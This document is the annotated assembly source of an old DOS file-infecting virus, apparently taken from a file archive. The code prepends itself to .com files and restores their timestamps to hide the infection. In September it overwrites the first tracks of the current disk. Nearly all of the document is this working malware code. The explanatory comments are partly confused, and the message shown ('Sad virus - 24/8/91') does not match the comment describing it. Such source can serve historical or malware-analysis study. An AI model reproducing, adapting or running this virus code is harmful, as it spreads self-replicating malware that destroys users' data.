home *** CD-ROM | disk | FTP | other *** search
- ;
- ; ---- Data Segment Values ----
- ; ds:[0f6h] = read buffer location
- ; ds:[0f8h] = write buffer location
- ; ds:[0fah] = store length of virus at this location
- ; ds:[0fch] = store length of file to be infected at this location
- ; ds:[0feh] = filename of file to infect
- ;
-
- .model tiny
- .code
- org 100h ; origin for .com files
- start:
-
- nop ; these two nop instructs will be used by 'Nasty'
- nop ; to determine if a file is already infected
-
- ;******
- ;get date
- ;******
- mov ah,2ah ; get the date
- int 21h ; do it
- cmp dh,09h ; is it September?
- jnz do_not_activate ; if NO jmp do_not_activate
- ;****
- ;the nasty bit
- ;****
- ;*
- ;* 1. Print message
- ;*
- lea dx,mess ; print message
- mov ah,09 ; 'Nasty in September'
- int 21h ; do it
- ;****
- ;* 2. Destroy disk
- ;****
- mov ah,19h ; get current drive (returned in al)
- int 21h ; do it
- mov dl,al ; dl = drive # to be formated
- mov ah,05 ; disk format function
- mov cl,01 ; first sector
- mov ch,00 ; first track
- mov dh,00 ; head zero
- mov al,10h ; 10h (16) sectors - 2 tracks
- int 13h ; do it (overwrite first 16 tracks on currently
- ; selected disc)
-
-
- do_not_activate:
- mov cx,80h ; save parameters; set counter to 80h bytes
- mov si,0080h ; offset in the current data segment of the byte
- ; to be copied
- mov di,0ff7fh ; offset to which byte is to be moved
- rep movsb ; move bytes until cx=0 (decrement cx by 1 each time
- ; loop is performed is done automatically)
- ; (increment by 1 of si & di is done automatically)
-
- lea ax,begp ; load exit from program offset address into ax
- mov cx,ax ; " " " " " " " cx
- sub ax,100h ; subtract start of .com file address (100h) from ax
- ; ax now contains the length of the virus
-
- mov ds:[0fah],ax ; put length of the virus into the data segment at
- ; offset 0fah
- add cx,fso ; add fso (5h) to cx (offset address of exit)
- ; so, cx=cx+5
- mov ds:[0f8h],cx ; move cx (end of virus + 5) into data segment at
- ; offset 0f8h. ** Start of the write buffer.
- ADD CX,AX ; add virus length (ax) to cx ?????
- mov ds:[0f6h],cx ; mov cx into data segment at offset 0f6h.
- ; ** Start of the read buffer
- mov cx,ax ; mov length of virus into cx
- lea si,start ; load address of 'start' (start of virus) into
- ; souce index
- mov di,ds:[0f8h] ; mov the value of the write buffer (@ 0f8h) into
- ; destination index
-
-
- rb: ; cx = counter (length of virus)
- ; si = offset of byte to be read
- ; di = offset of where to write byte to
- ; (auto decrement of cx & increment of si & di)
- rep movsb ; copy the virus into memory
-
- stc ; set the carry flag
-
- lea dx,file_type_to_infect ; set infector for .com files only
- mov ah,4eh ; find first file with specified params
- mov cx,20h ; files with archive bit set
- int 21h ; do it
- ; if file found, CF is cleared, else
- ; CF is set
-
- or ax,ax ; works the below instructions (jz & jmp)
- jz file_found ; if file found jmp file_found
- jmp done ; if no file found, jmp done (exit virus)
-
- file_found:
- mov ah,2fh ; get dta (returned in es:bx)
- int 21h ; do it
-
- mov ax,es:[bx+1ah] ; mov size of file to be infected into ax
- mov ds:[0fch],ax ; mov filesize into ds:[0fch]
- add bx,1eh ; bx now points to asciz filename
- mov ds:[0feh],bx ; mov filename into ds:[0feh]
- clc ; clear carry flag
-
- mov ax,3d02h ; open file for r/w (ds:dx -> asciz filename)
- mov dx,bx ; mov filename into dx
- int 21h ; do it (ax contains file handle)
-
- mov bx,ax ; mov file handle into bx
-
- mov ax,5700h ; get time & date attribs from file to infect
- int 21h ; do it (file handle in bx)
- push cx ; save time to the stack
- push dx ; save date to the stack
-
- mov ah,3fh ; read from file to be infected
- mov cx,ds:[0fch] ; number of bytes to be read (filesize of file to
- ; be infected
- mov dx,ds:[0f6h] ; buffer (where to read bytes to)
- int 21h ; do it
-
- mov bx,dx ; mov buffer location to bx
- mov ax,[bx] ; mov contents of bx (first two bytes - as bx is
- ; 16-bits) into ax.
-
- ; Now check to see if file is infected... if the
- ; file is infected, it's first two bytes will be
- ; 9090h (nop nop)
-
- sub ax,9090h ; If file is already infected, zero flag will be set
- ; thus jump to fin(ish)
- jz fin
-
-
- mov ax,ds:[0fch] ; mov filesize of file to be infected into ax
- mov bx,ds:[0f6h] ; mov where-to-read-to buffer into bx
-
- mov [bx-2],ax ; correct old len
-
- mov ah,3ch ; Create file with handle
- mov cx,00h ; cx=attribs -- set no attributes
- mov dx,ds:[0feh] ; point to name
- clc ; clear carry flag
- int 21h ; create file
- ; Note: If filename already exists, (which it does)
- ; truncate the filelength to zero - this is ok as
- ; we have already copied the file to be infected
- ; into memory.
-
- mov bx,ax ; mov file handle into bx
- mov ah,40h ; write file with handle (write to the file to be
- ; infected) - length currently zero
- ; cx=number of bytes to write
- mov cx,ds:[0fch] ; length of file to be infected
- add cx,ds:[0fah] ; length of virus
- mov DX,ds:[0f8h] ; location of write buffer (this contains the virus
- ; + the file to be infected)
- int 21h ; write file
- ; new file = virus + file to be infected
-
- mov ax,5701h ; restore original time & date values
- pop dx ; get old date from the stack
- pop cx ; get old time from the stack
- int 21h ; do it
- ; Note: Infected file will now carry the time & date
- ; it had before the infection.
-
- mov ah,3eh ; close file (bx=file handle)
- int 21h ; do it
- ; Note: date & time stamps automatically updated if
- ; file written to.
-
- fin:
- stc ; set carry flags
- mov ah,4fh ; find next file (.com)
- int 21h ; do it
- or ax,ax ; decides zero flag outcome
- jnz done ; if no more .com files, jmp done
- JMP file_found ; else begin re-infection process for new file.
-
- done:
- mov cx,80h ; set counter (cx) = 80h
- mov si,0ff7fh ; source offset address (copy from here)
- mov di,0080h ; destination offset address (copy to here)
- rep movsb ; copy bytes! (cx is auto decremented by 1
- ; si & di are auto incremented by 1)
- ; Note: this is a 'restore parameters' feature
- ; this does the reverse of what what done earlier
- ; in the program (do_not_activate:)
-
- mov ax,0a4f3h ;
- mov ds:[0fff9h],ax ;
- mov al,0eah ;
- mov ds:[0fffbh],al ; reset data segment locations ??? (to previous
- mov ax,100h ; values before virus infection)
- mov ds:[0fffch],ax ;
- lea si,begp ; load exit from program offset address into si
- lea di,start ; load offset address of start of virus into di
- mov ax,cs
- mov ds:[0fffeh],ax ; re-align cs = ds ???
- mov kk,ax
- mov cx,fso
-
- db 0eah ; define byte
- dw 0fff9h ; define word
- kk dw 0000h ; define kk = word
-
- mess db 'Sad virus - 24/8/91',13,10,'$' ; virus message to display
-
- file_type_to_infect db '*?.com',0 ; infect only .com files.
-
- fso dw 0005h ; store 5 into 'fso'. dw means that fso is 2 bytes
- ; in size (a word)
- ; ----- alma mater
-
-
- begp:
- mov ax,4c00h ; normal dos termination (set al to 00)
- int 21h ; do it
-
- end start
-